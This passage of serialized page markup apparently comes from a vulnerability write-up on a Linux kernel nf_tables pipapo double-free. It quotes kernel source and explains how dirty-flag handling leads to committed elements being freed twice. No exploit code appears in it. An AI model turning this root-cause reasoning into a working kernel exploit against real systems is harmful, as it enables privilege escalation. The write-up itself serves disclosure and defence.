}\n}\n",[49286],{"type":20,"tag":119,"props":49287,"children":49288},{"__ignoreMap":7},[49289,49336,49364,49390,49397,49418,49431,49438,49535,49543,49550,49605,49626,49633,49736,49748,49755,49791,49798,49832,49839],{"type":20,"tag":315,"props":49290,"children":49291},{"class":317,"line":318},[49292,49297,49302,49307,49311,49315,49319,49324,49328,49332],{"type":20,"tag":315,"props":49293,"children":49294},{"style":541},[49295],{"type":26,"value":49296},"static",{"type":20,"tag":315,"props":49298,"children":49299},{"style":541},[49300],{"type":26,"value":49301}," void",{"type":20,"tag":315,"props":49303,"children":49304},{"style":345},[49305],{"type":26,"value":49306}," nft_set_pipapo_match_destroy",{"type":20,"tag":315,"props":49308,"children":49309},{"style":328},[49310],{"type":26,"value":1049},{"type":20,"tag":315,"props":49312,"children":49313},{"style":541},[49314],{"type":26,"value":8054},{"type":20,"tag":315,"props":49316,"children":49317},{"style":541},[49318],{"type":26,"value":19555},{"type":20,"tag":315,"props":49320,"children":49321},{"style":328},[49322],{"type":26,"value":49323}," nft_ctx ",{"type":20,"tag":315,"props":49325,"children":49326},{"style":334},[49327],{"type":26,"value":901},{"type":20,"tag":315,"props":49329,"children":49330},{"style":635},[49331],{"type":26,"value":18684},{"type":20,"tag":315,"props":49333,"children":49334},{"style":328},[49335],{"type":26,"value":643},{"type":20,"tag":315,"props":49337,"children":49338},{"class":317,"line":356},[49339,49343,49347,49352,49356,49360],{"type":20,"tag":315,"props":49340,"children":49341},{"style":541},[49342],{"type":26,"value":29962},{"type":20,"tag":315,"props":49344,"children":49345},{"style":541},[49346],{"type":26,"value":19555},{"type":20,"tag":315,"props":49348,"children":49349},{"style":328},[49350],{"type":26,"value":49351}," nft_set ",{"type":20,"tag":315,"props":49353,"children":49354},{"style":334},[49355],{"type":26,"value":901},{"type":20,"tag":315,"props":49357,"children":49358},{"style":635},[49359],{"type":26,"value":49271},{"type":20,"tag":315,"props":49361,"children":49362},{"style":328},[49363],{"type":26,"value":643},{"type":20,"tag":315,"props":49365,"children":49366},{"class":317,"line":365},[49367,49372,49377,49381,49386],{"type":20,"tag":315,"props":49368,"children":49369},{"style":541},[49370],{"type":26,"value":49371}," struct",{"type":20,"tag":315,"props":49373,"children":49374},{"style":328},[49375],{"type":26,"value":49376}," nft_pipapo_match ",{"type":20,"tag":315,"props":49378,"children":49379},{"style":334},[49380],{"type":26,"value":901},{"type":20,"tag":315,"props":49382,"children":49383},{"style":635},[49384],{"type":26,"value":49385},"m",{"type":20,"tag":315,"props":49387,"children":49388},{"style":328},[49389],{"type":26,"value":380},{"type":20,"tag":315,"props":49391,"children":49392},{"class":317,"line":374},[49393],{"type":20,"tag":315,"props":49394,"children":49395},{"style":328},[49396],{"type":26,"value":723},{"type":20,"tag":315,"props":49398,"children":49399},{"class":317,"line":383},[49400,49404,49409,49413],{"type":20,"tag":315,"props":49401,"children":49402},{"style":541},[49403],{"type":26,"value":19555},{"type":20,"tag":315,"props":49405,"children":49406},{"style":328},[49407],{"type":26,"value":49408}," nft_pipapo_field ",{"type":20,"tag":315,"props":49410,"children":49411},{"style":334},[49412],{"type":26,"value":901},{"type":20,"tag":315,"props":49414,"children":49415},{"style":328},[49416],{"type":26,"value":49417},"f;\n",{"type":20,"tag":315,"props":49419,"children":49420},{"class":317,"line":407},[49421,49426],{"type":20,"tag":315,"props":49422,"children":49423},{"style":541},[49424],{"type":26,"value":49425}," int",{"type":20,"tag":315,"props":49427,"children":49428},{"style":328},[49429],{"type":26,"value":49430}," i, r;\n",{"type":20,"tag":315,"props":49432,"children":49433},{"class":317,"line":421},[49434],{"type":20,"tag":315,"props":49435,"children":49436},{"emptyLinePlaceholder":15},[49437],{"type":26,"value":427},{"type":20,"tag":315,"props":49439,"children":49440},{"class":317,"line":430},[49441,49446,49451,49455,49459,49464,49468,49473,49477,49481,49486,49490,49494,49498,49503,49508,49512,49517,49522,49527,49531],{"type":20,"tag":315,"props":49442,"children":49443},{"style":525},[49444],{"type":26,"value":49445}," for",{"type":20,"tag":315,"props":49447,"children":49448},{"style":328},[49449],{"type":26,"value":49450}," (i ",{"type":20,"tag":315,"props":49452,"children":49453},{"style":334},[49454],{"type":26,"value":337},{"type":20,"tag":315,"props":49456,"children":49457},{"style":765},[49458],{"type":26,"value":985},{"type":20,"tag":315,"props":49460,"children":49461},{"style":328},[49462],{"type":26,"value":49463},", f ",{"type":20,"tag":315,"props":49465,"children":49466},{"style":334},[49467],{"type":26,"value":337},{"type":20,"tag":315,"props":49469,"children":49470},{"style":635},[49471],{"type":26,"value":49472}," m",{"type":20,"tag":315,"props":49474,"children":49475},{"style":328},[49476],{"type":26,"value":12158},{"type":20,"tag":315,"props":49478,"children":49479},{"style":635},[49480],{"type":26,"value":31499},{"type":20,"tag":315,"props":49482,"children":49483},{"style":328},[49484],{"type":26,"value":49485},"; i ",{"type":20,"tag":315,"props":49487,"children":49488},{"style":334},[49489],{"type":26,"value":4199},{"type":20,"tag":315,"props":49491,"children":49492},{"style":635},[49493],{"type":26,"value":49472},{"type":20,"tag":315,"props":49495,"children":49496},{"style":328},[49497],{"type":26,"value":12158},{"type":20,"tag":315,"props":49499,"children":49500},{"style":635},[49501],{"type":26,"value":49502},"field_count",{"type":20,"tag":315,"props":49504,"children":49505},{"style":334},[49506],{"type":26,"value":49507}," -",{"type":20,"tag":315,"props":49509,"children":49510},{"style":765},[49511],{"type":26,"value":2916},{"type":20,"tag":315,"props":49513,"children":49514},{"style":328},[49515],{"type":26,"value":49516},"; i",{"type":20,"tag":315,"props":49518,"children":49519},{"style":334},[49520],{"type":26,"value":49521},"++",{"type":20,"tag":315,"props":49523,"children":49524},{"style":328},[49525],{"type":26,"value":49526},", f",{"type":20,"tag":315,"props":49528,"children":49529},{"style":334},[49530],{"type":26,"value":49521},{"type":20,"tag":315,"props":49532,"children":49533},{"style":328},[49534],{"type":26,"value":380},{"type":20,"tag":315,"props":49536,"children":49537},{"class":317,"line":453},[49538],{"type":20,"tag":315,"props":49539,"children":49540},{"style":328},[49541],{"type":26,"value":49542}," ;\n",{"type":20,"tag":315,"props":49544,"children":49545},{"class":317,"line":486},[49546],{"type":20,"tag":315,"props":49547,"children":49548},{"emptyLinePlaceholder":15},[49549],{"type":26,"value":427},{"type":20,"tag":315,"props":49551,"children":49552},{"class":317,"line":499},[49553,49557,49562,49566,49570,49575,49579,49583,49587,49592,49597,49601],{"type":20,"tag":315,"props":49554,"children":49555},{"style":525},[49556],{"type":26,"value":49445},{"type":20,"tag":315,"props":49558,"children":49559},{"style":328},[49560],{"type":26,"value":49561}," (r ",{"type":20,"tag":315,"props":49563,"children":49564},{"style":334},[49565],{"type":26,"value":337},{"type":20,"tag":315,"props":49567,"children":49568},{"style":765},[49569],{"type":26,"value":985},{"type":20,"tag":315,"props":49571,"children":49572},{"style":328},[49573],{"type":26,"value":49574},"; r ",{"type":20,"tag":315,"props":49576,"children":49577},{"style":334},[49578],{"type":26,"value":4199},{"type":20,"tag":315,"props":49580,"children":49581},{"style":635},[49582],{"type":26,"value":31385},{"type":20,"tag":315,"props":49584,"children":49585},{"style":328},[49586],{"type":26,"value":12158},{"type":20,"tag":315,"props":49588,"children":49589},{"style":635},[49590],{"type":26,"value":49591},"rules",{"type":20,"tag":315,"props":49593,"children":49594},{"style":328},[49595],{"type":26,"value":49596},"; r",{"type":20,"tag":315,"props":49598,"children":49599},{"style":334},[49600],{"type":26,"value":49521},{"type":20,"tag":315,"props":49602,"children":49603},{"style":328},[49604],{"type":26,"value":549},{"type":20,"tag":315,"props":49606,"children":49607},{"class":317,"line":513},[49608,49612,49617,49621],{"type":20,"tag":315,"props":49609,"children":49610},{"style":541},[49611],{"type":26,"value":4189},{"type":20,"tag":315,"props":49613,"children":49614},{"style":328},[49615],{"type":26,"value":49616}," nft_pipapo_elem ",{"type":20,"tag":315,"props":49618,"children":49619},{"style":334},[49620],{"type":26,"value":901},{"type":20,"tag":315,"props":49622,"children":49623},{"style":328},[49624],{"type":26,"value":49625},"e;\n",{"type":20,"tag":315,"props":49627,"children":49628},{"class":317,"line":521},[49629],{"type":20,"tag":315,"props":49630,"children":49631},{"emptyLinePlaceholder":15},[49632],{"type":26,"value":427},{"type":20,"tag":315,"props":49634,"children":49635},{"class":317,"line":552},[49636,49640,49644,49648,49652,49656,49660,49664,49668,49672,49676,49680,49685,49690,49694,49698,49702,49707,49711,49715,49719,49723,49728,49732],{"type":20,"tag":315,"props":49637,"children":49638},{"style":525},[49639],{"type":26,"value":29809},{"type":20,"tag":315,"props":49641,"children":49642},{"style":328},[49643],{"type":26,"value":49561},{"type":20,"tag":315,"props":49645,"children":49646},{"style":334},[49647],{"type":26,"value":4199},{"type":20,"tag":315,"props":49649,"children":49650},{"style":635},[49651],{"type":26,"value":31385},{"type":20,"tag":315,"props":49653,"children":49654},{"style":328},[49655],{"type":26,"value":12158},{"type":20,"tag":315,"props":49657,"children":49658},{"style":635},[49659],{"type":26,"value":49591},{"type":20,"tag":315,"props":49661,"children":49662},{"style":334},[49663],{"type":26,"value":49507},{"type":20,"tag":315,"props":49665,"children":49666},{"style":765},[49667],{"type":26,"value":2916},{"type":20,"tag":315,"props":49669,"children":49670},{"style":334},[49671],{"type":26,"value":12586},{"type":20,"tag":315,"props":49673,"children":49674},{"style":635},[49675],{"type":26,"value":31385},{"type":20,"tag":315,"props":49677,"children":49678},{"style":328},[49679],{"type":26,"value":12158},{"type":20,"tag":315,"props":49681,"children":49682},{"style":635},[49683],{"type":26,"value":49684},"mt",{"type":20,"tag":315,"props":49686,"children":49687},{"style":328},[49688],{"type":26,"value":49689},"[r ",{"type":20,"tag":315,"props":49691,"children":49692},{"style":334},[49693],{"type":26,"value":817},{"type":20,"tag":315,"props":49695,"children":49696},{"style":765},[49697],{"type":26,"value":2916},{"type":20,"tag":315,"props":49699,"children":49700},{"style":328},[49701],{"type":26,"value":48600},{"type":20,"tag":315,"props":49703,"children":49704},{"style":635},[49705],{"type":26,"value":49706},"e",{"type":20,"tag":315,"props":49708,"children":49709},{"style":334},[49710],{"type":26,"value":1664},{"type":20,"tag":315,"props":49712,"children":49713},{"style":635},[49714],{"type":26,"value":31385},{"type":20,"tag":315,"props":49716,"children":49717},{"style":328},[49718],{"type":26,"value":12158},{"type":20,"tag":315,"props":49720,"children":49721},{"style":635},[49722],{"type":26,"value":49684},{"type":20,"tag":315,"props":49724,"children":49725},{"style":328},[49726],{"type":26,"value":49727},"[r].",{"type":20,"tag":315,"props":49729,"children":49730},{"style":635},[49731],{"type":26,"value":49706},{"type":20,"tag":315,"props":49733,"children":49734},{"style":328},[49735],{"type":26,"value":380},{"type":20,"tag":315,"props":49737,"children":49738},{"class":317,"line":571},[49739,49744],{"type":20,"tag":315,"props":49740,"children":49741},{"style":525},[49742],{"type":26,"value":49743}," continue",{"type":20,"tag":315,"props":49745,"children":49746},{"style":328},[49747],{"type":26,"value":1405},{"type":20,"tag":315,"props":49749,"children":49750},{"class":317,"line":2031},[49751],{"type":20,"tag":315,"props":49752,"children":49753},{"emptyLinePlaceholder":15},[49754],{"type":26,"value":427},{"type":20,"tag":315,"props":49756,"children":49757},{"class":317,"line":2053},[49758,49763,49767,49771,49775,49779,49783,49787],{"type":20,"tag":315,"props":49759,"children":49760},{"style":328},[49761],{"type":26,"value":49762}," e ",{"type":20,"tag":315,"props":49764,"children":49765},{"style":334},[49766],{"type":26,"value":337},{"type":20,"tag":315,"props":49768,"children":49769},{"style":635},[49770],{"type":26,"value":31385},{"type":20,"tag":315,"props":49772,"children":49773},{"style":328},[49774],{"type":26,"value":12158},{"type":20,"tag":315,"props":49776,"children":49777},{"style":635},[49778],{"type":26,"value":49684},{"type":20,"tag":315,"props":49780,"children":49781},{"style":328},[49782],{"type":26,"value":49727},{"type":20,"tag":315,"props":49784,"children":49785},{"style":635},[49786],{"type":26,"value":49706},{"type":20,"tag":315,"props":49788,"children":49789},{"style":328},[49790],{"type":26,"value":1405},{"type":20,"tag":315,"props":49792,"children":49793},{"class":317,"line":2061},[49794],{"type":20,"tag":315,"props":49795,"children":49796},{"emptyLinePlaceholder":15},[49797],{"type":26,"value":427},{"type":20,"tag":315,"props":49799,"children":49800},{"class":317,"line":2070},[49801,49806,49811,49815,49819,49823,49828],{"type":20,"tag":315,"props":49802,"children":49803},{"style":345},[49804],{"type":26,"value":49805}," nf_tables_set_elem_destroy",{"type":20,"tag":315,"props":49807,"children":49808},{"style":328},[49809],{"type":26,"value":49810},"(ctx, set, ",{"type":20,"tag":315,"props":49812,"children":49813},{"style":334},[49814],{"type":26,"value":1490},{"type":20,"tag":315,"props":49816,"children":49817},{"style":635},[49818],{"type":26,"value":49706},{"type":20,"tag":315,"props":49820,"children":49821},{"style":328},[49822],{"type":26,"value":12158},{"type":20,"tag":315,"props":49824,"children":49825},{"style":635},[49826],{"type":26,"value":49827},"priv",{"type":20,"tag":315,"props":49829,"children":49830},{"style":328},[49831],{"type":26,"value":2214},{"type":20,"tag":315,"props":49833,"children":49834},{"class":317,"line":2139},[49835],{"type":20,"tag":315,"props":49836,"children":49837},{"style":328},[49838],{"type":26,"value":7995},{"type":20,"tag":315,"props":49840,"children":49841},{"class":317,"line":2147},[49842],{"type":20,"tag":315,"props":49843,"children":49844},{"style":328},[49845],{"type":26,"value":577},{"type":20,"tag":29,"props":49847,"children":49848},{},[49849,49851,49857,49859,49864],{"type":26,"value":49850},"Which will then ",{"type":20,"tag":119,"props":49852,"children":49854},{"className":49853},[],[49855],{"type":26,"value":49856},"kfree()",{"type":26,"value":49858}," the ",{"type":20,"tag":119,"props":49860,"children":49862},{"className":49861},[],[49863],{"type":26,"value":49263},{"type":26,"value":61},{"type":20,"tag":305,"props":49866,"children":49868},{"className":14916,"code":49867,"language":1528,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[49869],{"type":20,"tag":119,"props":49870,"children":49871},{"__ignoreMap":7},[49872,49913,49941,49970,49977,50012,50019,50040,50063,50070,50083],{"type":20,"tag":315,"props":49873,"children":49874},{"class":317,"line":318},[49875,49880,49885,49889,49893,49897,49901,49905,49909],{"type":20,"tag":315,"props":49876,"children":49877},{"style":541},[49878],{"type":26,"value":49879},"void",{"type":20,"tag":315,"props":49881,"children":49882},{"style":345},[49883],{"type":26,"value":49884}," nf_tables_set_elem_destroy",{"type":20,"tag":315,"props":49886,"children":49887},{"style":328},[49888],{"type":26,"value":1049},{"type":20,"tag":315,"props":49890,"children":49891},{"style":541},[49892],{"type":26,"value":8054},{"type":20,"tag":315,"props":49894,"children":49895},{"style":541},[49896],{"type":26,"value":19555},{"type":20,"tag":315,"props":49898,"children":49899},{"style":328},[49900],{"type":26,"value":49323},{"type":20,"tag":315,"props":49902,"children":49903},{"style":334},[49904],{"type":26,"value":901},{"type":20,"tag":315,"props":49906,"children":49907},{"style":635},[49908],{"type":26,"value":18684},{"type":20,"tag":315,"props":49910,"children":49911},{"style":328},[49912],{"type":26,"value":643},{"type":20,"tag":315,"props":49914,"children":49915},{"class":317,"line":356},[49916,49921,49925,49929,49933,49937],{"type":20,"tag":315,"props":49917,"children":49918},{"style":541},[49919],{"type":26,"value":49920}," const",{"type":20,"tag":315,"props":49922,"children":49923},{"style":541},[49924],{"type":26,"value":19555},{"type":20,"tag":315,"props":49926,"children":49927},{"style":328},[49928],{"type":26,"value":49351},{"type":20,"tag":315,"props":49930,"children":49931},{"style":334},[49932],{"type":26,"value":901},{"type":20,"tag":315,"props":49934,"children":49935},{"style":635},[49936],{"type":26,"value":49271},{"type":20,"tag":315,"props":49938,"children":49939},{"style":328},[49940],{"type":26,"value":643},{"type":20,"tag":315,"props":49942,"children":49943},{"class":317,"line":365},[49944,49948,49952,49957,49961,49966],{"type":20,"tag":315,"props":49945,"children":49946},{"style":541},[49947],{"type":26,"value":49920},{"type":20,"tag":315,"props":49949,"children":49950},{"style":541},[49951],{"type":26,"value":19555},{"type":20,"tag":315,"props":49953,"children":49954},{"style":328},[49955],{"type":26,"value":49956}," nft_elem_priv ",{"type":20,"tag":315,"props":49958,"children":49959},{"style":334},[49960],{"type":26,"value":901},{"type":20,"tag":315,"props":49962,"children":49963},{"style":635},[49964],{"type":26,"value":49965},"elem_priv",{"type":20,"tag":315,"props":49967,"children":49968},{"style":328},[49969],{"type":26,"value":380},{"type":20,"tag":315,"props":49971,"children":49972},{"class":317,"line":374},[49973],{"type":20,"tag":315,"props":49974,"children":49975},{"style":328},[49976],{"type":26,"value":723},{"type":20,"tag":315,"props":49978,"children":49979},{"class":317,"line":383},[49980,49984,49989,49993,49998,50002,50007],{"type":20,"tag":315,"props":49981,"children":49982},{"style":541},[49983],{"type":26,"value":19555},{"type":20,"tag":315,"props":49985,"children":49986},{"style":328},[49987],{"type":26,"value":49988}," nft_set_ext ",{"type":20,"tag":315,"props":49990,"children":49991},{"style":334},[49992],{"type":26,"value":901},{"type":20,"tag":315,"props":49994,"children":49995},{"style":328},[49996],{"type":26,"value":49997},"ext ",{"type":20,"tag":315,"props":49999,"children":50000},{"style":334},[50001],{"type":26,"value":337},{"type":20,"tag":315,"props":50003,"children":50004},{"style":345},[50005],{"type":26,"value":50006}," nft_set_elem_ext",{"type":20,"tag":315,"props":50008,"children":50009},{"style":328},[50010],{"type":26,"value":50011},"(set, elem_priv);\n",{"type":20,"tag":315,"props":50013,"children":50014},{"class":317,"line":407},[50015],{"type":20,"tag":315,"props":50016,"children":50017},{"emptyLinePlaceholder":15},[50018],{"type":26,"value":427},{"type":20,"tag":315,"props":50020,"children":50021},{"class":317,"line":421},[50022,50026,50030,50035],{"type":20,"tag":315,"props":50023,"children":50024},{"style":525},[50025],{"type":26,"value":14189},{"type":20,"tag":315,"props":50027,"children":50028},{"style":328},[50029],{"type":26,"value":463},{"type":20,"tag":315,"props":50031,"children":50032},{"style":345},[50033],{"type":26,"value":50034},"nft_set_ext_exists",{"type":20,"tag":315,"props":50036,"children":50037},{"style":328},[50038],{"type":26,"value":50039},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":20,"tag":315,"props":50041,"children":50042},{"class":317,"line":430},[50043,50048,50053,50058],{"type":20,"tag":315,"props":50044,"children":50045},{"style":345},[50046],{"type":26,"value":50047}," nft_set_elem_expr_destroy",{"type":20,"tag":315,"props":50049,"children":50050},{"style":328},[50051],{"type":26,"value":50052},"(ctx, ",{"type":20,"tag":315,"props":50054,"children":50055},{"style":345},[50056],{"type":26,"value":50057},"nft_set_ext_expr",{"type":20,"tag":315,"props":50059,"children":50060},{"style":328},[50061],{"type":26,"value":50062},"(ext));\n",{"type":20,"tag":315,"props":50064,"children":50065},{"class":317,"line":453},[50066],{"type":20,"tag":315,"props":50067,"children":50068},{"emptyLinePlaceholder":15},[50069],{"type":26,"value":427},{"type":20,"tag":315,"props":50071,"children":50072},{"class":317,"line":486},[50073,50078],{"type":20,"tag":315,"props":50074,"children":50075},{"style":345},[50076],{"type":26,"value":50077}," kfree",{"type":20,"tag":315,"props":50079,"children":50080},{"style":328},[50081],{"type":26,"value":50082},"(elem_priv);\n",{"type":20,"tag":315,"props":50084,"children":50085},{"class":317,"line":499},[50086],{"type":20,"tag":315,"props":50087,"children":50088},{"style":328},[50089],{"type":26,"value":577},{"type":20,"tag":29,"props":50091,"children":50092},{},[50093,50094,50100,50102,50107,50109,50114,50116,50121,50122,50127,50129,50134,50136,50141,50143,50148],{"type":26,"value":15015},{"type":20,"tag":119,"props":50095,"children":50097},{"className":50096},[],[50098],{"type":26,"value":50099},"nft_pipapo_match",{"type":26,"value":50101}," objects contain views of the ",{"type":20,"tag":119,"props":50103,"children":50105},{"className":50104},[],[50106],{"type":26,"value":49263},{"type":26,"value":50108},"'s of a ",{"type":20,"tag":119,"props":50110,"children":50112},{"className":50111},[],[50113],{"type":26,"value":49271},{"type":26,"value":50115},". The difference between the ",{"type":20,"tag":119,"props":50117,"children":50119},{"className":50118},[],[50120],{"type":26,"value":49248},{"type":26,"value":9392},{"type":20,"tag":119,"props":50123,"children":50125},{"className":50124},[],[50126],{"type":26,"value":49232},{"type":26,"value":50128}," match objects is that the clone has a view of not only already committed ",{"type":20,"tag":119,"props":50130,"children":50132},{"className":50131},[],[50133],{"type":26,"value":49263},{"type":26,"value":50135},"'s that the \"normal\" one has but also a view of the ",{"type":20,"tag":119,"props":50137,"children":50139},{"className":50138},[],[50140],{"type":26,"value":49263},{"type":26,"value":50142},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":20,"tag":119,"props":50144,"children":50146},{"className":50145},[],[50147],{"type":26,"value":49248},{"type":26,"value":61},{"type":20,"tag":219,"props":50150,"children":50152},{"id":50151},"root-cause-analysis",[50153],{"type":26,"value":50154},"Root-cause analysis",{"type":20,"tag":29,"props":50156,"children":50157},{},[50158,50160,50166,50168,50173],{"type":26,"value":50159},"So ",{"type":20,"tag":119,"props":50161,"children":50163},{"className":50162},[],[50164],{"type":26,"value":50165},"nf_tables_set_elem_destroy",{"type":26,"value":50167}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":20,"tag":119,"props":50169,"children":50171},{"className":50170},[],[50172],{"type":26,"value":49263},{"type":26,"value":50174},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":20,"tag":29,"props":50176,"children":50177},{},[50178,50180,50185,50187,50192,50194,50199,50201,50206,50208,50213],{"type":26,"value":50179},"We should now try to understand how to reach that path with the ",{"type":20,"tag":119,"props":50181,"children":50183},{"className":50182},[],[50184],{"type":26,"value":49225},{"type":26,"value":50186}," flag set, which is a member of the private data of a pipapo ",{"type":20,"tag":119,"props":50188,"children":50190},{"className":50189},[],[50191],{"type":26,"value":49263},{"type":26,"value":50193}," that becomes true whenever a change is made to the ",{"type":20,"tag":119,"props":50195,"children":50197},{"className":50196},[],[50198],{"type":26,"value":49271},{"type":26,"value":50200}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":20,"tag":119,"props":50202,"children":50204},{"className":50203},[],[50205],{"type":26,"value":49271},{"type":26,"value":50207}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":20,"tag":119,"props":50209,"children":50211},{"className":50210},[],[50212],{"type":26,"value":49271},{"type":26,"value":50214}," dirty by inserting a new element.",{"type":20,"tag":305,"props":50216,"children":50218},{"className":14916,"code":50217,"language":1528,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n const struct nft_set_elem *elem,\n struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[50219],{"type":20,"tag":119,"props":50220,"children":50221},{"__ignoreMap":7},[50222,50292,50321,50346,50353,50360,50389,50396],{"type":20,"tag":315,"props":50223,"children":50224},{"class":317,"line":318},[50225,50229,50233,50238,50242,50246,50250,50255,50259,50264,50268,50272,50276,50280,50284,50288],{"type":20,"tag":315,"props":50226,"children":50227},{"style":541},[50228],{"type":26,"value":49296},{"type":20,"tag":315,"props":50230,"children":50231},{"style":541},[50232],{"type":26,"value":49425},{"type":20,"tag":315,"props":50234,"children":50235},{"style":345},[50236],{"type":26,"value":50237}," nft_pipapo_insert",{"type":20,"tag":315,"props":50239,"children":50240},{"style":328},[50241],{"type":26,"value":1049},{"type":20,"tag":315,"props":50243,"children":50244},{"style":541},[50245],{"type":26,"value":8054},{"type":20,"tag":315,"props":50247,"children":50248},{"style":541},[50249],{"type":26,"value":19555},{"type":20,"tag":315,"props":50251,"children":50252},{"style":328},[50253],{"type":26,"value":50254}," net ",{"type":20,"tag":315,"props":50256,"children":50257},{"style":334},[50258],{"type":26,"value":901},{"type":20,"tag":315,"props":50260,"children":50261},{"style":635},[50262],{"type":26,"value":50263},"net",{"type":20,"tag":315,"props":50265,"children":50266},{"style":328},[50267],{"type":26,"value":44},{"type":20,"tag":315,"props":50269,"children":50270},{"style":541},[50271],{"type":26,"value":8054},{"type":20,"tag":315,"props":50273,"children":50274},{"style":541},[50275],{"type":26,"value":19555},{"type":20,"tag":315,"props":50277,"children":50278},{"style":328},[50279],{"type":26,"value":49351},{"type":20,"tag":315,"props":50281,"children":50282},{"style":334},[50283],{"type":26,"value":901},{"type":20,"tag":315,"props":50285,"children":50286},{"style":635},[50287],{"type":26,"value":49271},{"type":20,"tag":315,"props":50289,"children":50290},{"style":328},[50291],{"type":26,"value":643},{"type":20,"tag":315,"props":50293,"children":50294},{"class":317,"line":356},[50295,50299,50303,50308,50312,50317],{"type":20,"tag":315,"props":50296,"children":50297},{"style":541},[50298],{"type":26,"value":31315},{"type":20,"tag":315,"props":50300,"children":50301},{"style":541},[50302],{"type":26,"value":19555},{"type":20,"tag":315,"props":50304,"children":50305},{"style":328},[50306],{"type":26,"value":50307}," nft_set_elem ",{"type":20,"tag":315,"props":50309,"children":50310},{"style":334},[50311],{"type":26,"value":901},{"type":20,"tag":315,"props":50313,"children":50314},{"style":635},[50315],{"type":26,"value":50316},"elem",{"type":20,"tag":315,"props":50318,"children":50319},{"style":328},[50320],{"type":26,"value":643},{"type":20,"tag":315,"props":50322,"children":50323},{"class":317,"line":365},[50324,50329,50333,50338,50342],{"type":20,"tag":315,"props":50325,"children":50326},{"style":541},[50327],{"type":26,"value":50328}," struct",{"type":20,"tag":315,"props":50330,"children":50331},{"style":328},[50332],{"type":26,"value":49956},{"type":20,"tag":315,"props":50334,"children":50335},{"style":334},[50336],{"type":26,"value":50337},"**",{"type":20,"tag":315,"props":50339,"children":50340},{"style":635},[50341],{"type":26,"value":49965},{"type":20,"tag":315,"props":50343,"children":50344},{"style":328},[50345],{"type":26,"value":380},{"type":20,"tag":315,"props":50347,"children":50348},{"class":317,"line":374},[50349],{"type":20,"tag":315,"props":50350,"children":50351},{"style":328},[50352],{"type":26,"value":723},{"type":20,"tag":315,"props":50354,"children":50355},{"class":317,"line":383},[50356],{"type":20,"tag":315,"props":50357,"children":50358},{"style":328},[50359],{"type":26,"value":8718},{"type":20,"tag":315,"props":50361,"children":50362},{"class":317,"line":407},[50363,50368,50372,50377,50381,50385],{"type":20,"tag":315,"props":50364,"children":50365},{"style":635},[50366],{"type":26,"value":50367}," priv",{"type":20,"tag":315,"props":50369,"children":50370},{"style":328},[50371],{"type":26,"value":12158},{"type":20,"tag":315,"props":50373,"children":50374},{"style":635},[50375],{"type":26,"value":50376},"dirty",{"type":20,"tag":315,"props":50378,"children":50379},{"style":334},[50380],{"type":26,"value":1395},{"type":20,"tag":315,"props":50382,"children":50383},{"style":541},[50384],{"type":26,"value":544},{"type":20,"tag":315,"props":50386,"children":50387},{"style":328},[50388],{"type":26,"value":1405},{"type":20,"tag":315,"props":50390,"children":50391},{"class":317,"line":421},[50392],{"type":20,"tag":315,"props":50393,"children":50394},{"style":328},[50395],{"type":26,"value":8718},{"type":20,"tag":315,"props":50397,"children":50398},{"class":317,"line":430},[50399],{"type":20,"tag":315,"props":50400,"children":50401},{"style":328},[50402],{"type":26,"value":577},{"type":20,"tag":29,"props":50404,"children":50405},{},[50406],{"type":26,"value":50407},"We also see that when the changes are commited, this flag is then unset.",{"type":20,"tag":305,"props":50409,"children":50411},{"className":14916,"code":50410,"language":1528,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[50412],{"type":20,"tag":119,"props":50413,"children":50414},{"__ignoreMap":7},[50415,50455,50462,50469,50500,50511,50518,50545,50552],{"type":20,"tag":315,"props":50416,"children":50417},{"class":317,"line":318},[50418,50422,50426,50431,50435,50439,50443,50447,50451],{"type":20,"tag":315,"props":50419,"children":50420},{"style":541},[50421],{"type":26,"value":49296},{"type":20,"tag":315,"props":50423,"children":50424},{"style":541},[50425],{"type":26,"value":49301},{"type":20,"tag":315,"props":50427,"children":50428},{"style":345},[50429],{"type":26,"value":50430}," nft_pipapo_commit",{"type":20,"tag":315,"props":50432,"children":50433},{"style":328},[50434],{"type":26,"value":1049},{"type":20,"tag":315,"props":50436,"children":50437},{"style":541},[50438],{"type":26,"value":7800},{"type":20,"tag":315,"props":50440,"children":50441},{"style":328},[50442],{"type":26,"value":49351},{"type":20,"tag":315,"props":50444,"children":50445},{"style":334},[50446],{"type":26,"value":901},{"type":20,"tag":315,"props":50448,"children":50449},{"style":635},[50450],{"type":26,"value":49271},{"type":20,"tag":315,"props":50452,"children":50453},{"style":328},[50454],{"type":26,"value":380},{"type":20,"tag":315,"props":50456,"children":50457},{"class":317,"line":356},[50458],{"type":20,"tag":315,"props":50459,"children":50460},{"style":328},[50461],{"type":26,"value":723},{"type":20,"tag":315,"props":50463,"children":50464},{"class":317,"line":365},[50465],{"type":20,"tag":315,"props":50466,"children":50467},{"style":328},[50468],{"type":26,"value":8718},{"type":20,"tag":315,"props":50470,"children":50471},{"class":317,"line":374},[50472,50476,50480,50484,50488,50492,50496],{"type":20,"tag":315,"props":50473,"children":50474},{"style":525},[50475],{"type":26,"value":14189},{"type":20,"tag":315,"props":50477,"children":50478},{"style":328},[50479],{"type":26,"value":463},{"type":20,"tag":315,"props":50481,"children":50482},{"style":334},[50483],{"type":26,"value":19025},{"type":20,"tag":315,"props":50485,"children":50486},{"style":635},[50487],{"type":26,"value":49827},{"type":20,"tag":315,"props":50489,"children":50490},{"style":328},[50491],{"type":26,"value":12158},{"type":20,"ta